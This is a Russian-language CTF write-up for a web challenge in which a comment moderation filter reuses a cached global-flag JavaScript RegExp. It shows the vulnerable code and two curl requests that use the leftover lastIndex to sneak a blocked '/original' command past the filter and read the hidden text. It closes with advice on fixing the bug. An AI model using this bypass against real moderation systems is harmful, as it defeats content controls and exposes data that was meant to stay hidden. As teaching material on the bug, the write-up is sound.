Автор: Влад Росков @mrvos SPbCTF

Автор writeup: @m0nr0e21

Разведка

В исходниках интересны три файла:
server/src/moderation/filter.js — сам фильтр контента;
server/src/bot/commands.js — обработчик текстовых команд бота (/help, /censor, /report, /status, /original);
server/src/routes/comments.js — маршрут POST /api/tracks/:id/comment, который сначала прогоняет присланный текст через фильтр и только потом передаёт его парсеру команд.
Ключевая находка — команда /original <id>:

case 'original': {
  const original = await getOriginalText(cmd.trackId);
  if (!original) return { type: 'bot', message: `Трек #${cmd.trackId} не найден.` };
  return { type: 'bot', command: '/original', message: original };
}

Она отдаёт необрезанный оригинал трека — включая всё, что цензура вырезала из публичной версии. Проблема в том, что строка /original сама лежит в блок-листе:

export const BLOCKED_WORDS = [
  '/original',
  'блин', 'чёрт', 'жесть', 'фигня',
  ...
];

То есть простое сообщение "/original 4" будет заблокировано фильтром ещё до того, как до него доберётся parseCommand().

Уязвимость

В server/src/moderation/filter.js для каждой сессии кешируется один и тот же объект RegExp с флагом g:

function getPolicy(sessionId) {
  if (!policies.has(sessionId)) {
    policies.set(sessionId, {
      id: sessionId,
      re: new RegExp(`(?:${BLOCKED_WORDS.join('|')})(?=[\\s.,!?;:)}\\]"'»]|$)`, 'gi'),
    });
  }
  return policies.get(sessionId);
}

Классическая ошибка со stateful глобальным regex: RegExp.prototype.lastIndex — общее изменяемое состояние объекта, а не вызова.

• checkContent() крутит re.exec() в цикле до null → lastIndex сбрасывается в 0.
• matchesPolicy() (внутри /censor) делает один re.test() → при совпадении lastIndex остаётся > 0.

Оба метода используют один и тот же кэшированный re (по sessionId из cookie). Поэтому lastIndex, оставленный /censor, наследуется следующим checkContent().

Эффект

Если /censor поднимает lastIndex до N, а сообщение короче N символов, re.exec() начинает поиск с позиции N и пропускает начало строки (в т.ч. /original).

parseCommand() при этом матчит /original по чистому ^\/original..., поэтому команда всё равно выполняется.

Эксплуатация

Цель - трек 4, нужно найти censored-тексте найти слово из блок-листа ≤10 символов с разделителем сразу после (чтобы matchesPolicy() оставил lastIndex > 0). В бридже трека 4 — «Тише» (позиции 868–872).

curl -s -c cj.txt -b cj.txt -X POST https://onmute-h5hzbuoj.avitoctf.ru/api/tracks/4/comment \
  -H 'Content-Type: application/json' \
  -d '{"text":"/censor 868 872"}'

matchesPolicy("Тише") находит совпадение целиком (лукахед (?=...|$) срабатывает на конец строки фрагмента) → lastIndex объекта regex для этой сессии становится равен 4.
Тем же сессионным куки сразу отправляем настоящую цель:

curl -s -c cj.txt -b cj.txt -X POST https://onmute-h5hzbuoj.avitoctf.ru/api/tracks/4/comment \
  -H 'Content-Type: application/json' \
  -d '{"text":"/original 4"}'

checkContent() начинает поиск совпадений в строке "/original 4" с позиции 4 (унаследованной от шага 2). Слово /original начинается с позиции 0, поэтому поймать его уже нельзя — фильтр не находит нарушений и пропускает сообщение. parseCommand() независимо распознаёт /original 4 и выполняет handleCommand(), который возвращает полный оригинальный текст трека.

Результат

{
  "ok": true,
  "type": "bot",
  "command": "/original",
  "message": "...[Аутро]\n...\nЗабираю своё. Вот он - ключ. Вот он - флаг: }"
}

Причина уязвимости

Название флага обыгрывает суть бага: флаг g заставляет RegExp хранить lastIndex между вызовами. Когда один и тот же объект переиспользуется в разных функциях (цикл exec() до null vs одиночный test()), они неявно влияют друг на друга через общее мутируемое состояние. «Тишина» (censor на «Тише») буквально заглушила фильтр символа / и пропустила команду /original.

Как правильно чинить

Не кэшировать RegExp с g/y между независимыми вызовами — либо создавать новый объект каждый раз, либо явно делать re.lastIndex = 0.

Не полагаться на автосброс lastIndex при exec() === null (работает только если цикл доходит до конца строки).

Использовать String.prototype.matchAll() (stateless) или выделенный regex без g для точечных проверок (matchesPolicy), отдельно от полного сканирования (checkContent).